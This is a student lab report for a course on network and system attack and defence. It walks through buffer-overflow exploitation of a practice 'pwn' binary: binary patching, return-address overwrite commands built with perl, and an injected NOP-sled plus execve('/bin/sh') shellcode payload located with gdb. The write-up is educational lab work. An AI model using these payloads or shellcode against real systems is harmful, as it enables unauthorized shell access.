20234320 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
1.1 目标任务
a.对目标pwn文件,手工修改可执行文件从而改变执行过程,跳转到getShell得到可用Shell
b.对目标pwn文件,利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖原本的返回地址,跳转到getShell函数
c.对目标pwn文件,注入自制的shellcode并设法运行得到可用Shell
1.2 学习内容
a.熟悉Linux基本操作,熟练使用各类常用指令,如管道(|),输入、输出重定向(>)等
b.掌握反汇编、gdb调试与十六进制编辑器
c.理解通过修改机器指令改变程序执行流程的原理
d.掌握构造payload进行BOF攻击的基本方法
2.实验环境
2.1下载24版kali,并挂载到VMWare上
- 这里最好用24版的kali,25版kali在安装时有概率触发网络问题,后续可通过apt更新到最新版本
查看当前kali版本为2025.3
2.2配置共享文件夹,将实验用的pwn1和execstack传到虚拟机中
3.实验过程
3.1通过直接修改程序机器指令getShell
- 通过objdump指令进行反汇编,查看汇编代码
使用objdump -d pwn20234320_1 | more
命令,对文件进行反汇编。查看代码可知main函数中的80484b5
位置为跳转到foo函数的指令。
- main函数调用foo函数的机器指令为
e8 d7ffffff
,e8表示跳转,foo函数的地址为EIP+d7ffffff
,即8048491
,EIP此时指向下一条指令的地址80484ba
,加上补码d7ffffff
后得到的正好为8048491
,如果需要程序不跳转到foo函数,而是跳转到getShell函数,就需要我们修改原本跳转的地址为getShell函数的地址,使其直接调用getShell函数。
查看代码可知,getShell函数的地址为0x0804847d
,操作数为0x0804847d-EIP=c3ffffff
,因此直接通过vim修改机器指令为e8 c3ffffff
,以下为修改过程
- 运行pwn20234320_1,尝试输入命令,成功执行,getshell
3.2 构造输入造成BOF攻击 - 反汇编观察foo函数,得知在
8048497
位置的lea -0x1c(%ebp),%eax
指令只为后续的字符串预留了一块0x1c字节(即28字节)大小的缓冲区,因此可将shellcode的起始位置覆盖返回位置,触发缓冲区溢出漏洞,如下图所示:
- getshell的起始地址为
804847d
- 通过输入字符串确定哪几个字符会落在返回地址中
1111111122222222333333334444444412345678
- 可以发现eip中为1234,则需要将起始地址
080447d
填入1234原本的位置进行覆盖,注意这里为小端序,应该输入\x7d\x84\x04\x08
由为无法通过键盘直接输入\x7d\x84\x04\x08这样的16进制值,所以使用命令perl生成包括这样字符串的一个文件。随后使用xxd命令查看文件内容是否正确。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
- 将input文件通过管道符|作为pwn20234320_2的输入,发现程序可以调用getShell函数,成功获得了shell
(cat input; cat) | ./pwn20234320_2
3.3注入Shellcode并执行
- 在Linux环境中进行该实验需要满足以下三个条件:关闭堆栈保护;关闭堆栈执行保护;关闭地址随机化;
execstack可用于查询和修改可执行文件或共享库的堆栈执行权限,kali中不能直接下载该工具,在宿主机中下载好后再通过共享文件夹传到kali中进行安装
下载链接:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
- 构造payload
因为缓冲区较小(28字节),故选择构造结构为anything(填充)+retaddr(缓冲区)+nop+shellcode
,前面计算字符串缓冲区可知在返回地址之前有28+4字节需要填充,所以anything的部分为'A'x32,shellcode采用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
目前需要确定retaddr的值,我们选择的结构中,shellcode在retaddr的后面(落在nop上会自动滑行至shellcode部分),所以先用x4\x3\x2\x1
来代替shellcode的地址,找到后进行替换,因此我们输入payloadprint "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"(perl)
来进行调试,先准备一个input文件
- 通过管道输入input文件,运行pwn20234320_3,打开gdb进行调试(我这里使用的是pwngdb)
(cat input_shellcode_test;cat) | ./pwn20234320_3
- 通过ps命令查看程序的PID,这里是53507
- 设置断点,来查看注入buf的内存地址
这里找到了01020304,是ret的地址,查找esp地址为0xffffcebc
,那么shellcode的地址为0xffffcebc+4=0xffffcec0
- 将01020304替换成shellcode的地址
0xffffcec0
,重新执行pwn20234320_3
注意,这里还是用小端序,写入时要调换顺序
- 执行pwn20234320_3,getshell
3.问题及解决方案
- 问题1:安装25版kali时,遇到网络问题,下载相关文件卡死
- 问题1解决方案:通过上网查找教程,直接安装24版kali,再通过apt即可升级
- 问题2:直接通过apt下载execstack失败,提示 "ERROR 404: Not Found"
- 问题2解决方案:上网搜索到execstack的deb包,下载后直接本地安装
- 问题3:注入Shellcode并执行实验中,按照实验步骤执行后没有获得shell,而是提示为段错误
- 问题3解决方案:首先是因为在进行实验的过程中,对各个寄存器的含义和使用方法很不熟悉,以及对堆栈的结构理解不到位,在找到了01020304之后,没有分析清楚shellcode的位置就旁边,导致一直没有正确覆盖返回地址。后面重新按照指导书一步步gdb重新调试,理解了exp的结构,在前面补充了32个"A",成功getshell
4.学习感悟与思考
pwn相关的攻防技术非常依赖知识的积累和经验总结,即使是一个基础的实验,在关闭了各种安全设置后,仍然非常考验对于知识的综合运用能力,比如对于动态调试工具的使用(在哪里下断点)、不同寄存器的作用(哪个寄存器存储了之后要返回的地址)、大端序与小端序(payload的构造)、堆栈的结构(怎么选取paylaod的结构)、nod的作用等等,这些基础知识互相关联,环环相扣,需要我重新梳理这些知识,才能更好解决此类问题。同时,我也要加强经验的积累,payload在构造时,不仅需要通过反汇编、动态调试等技术寻找蛛丝马迹,有时候也要结合相似的问题大胆猜想,才能pwn。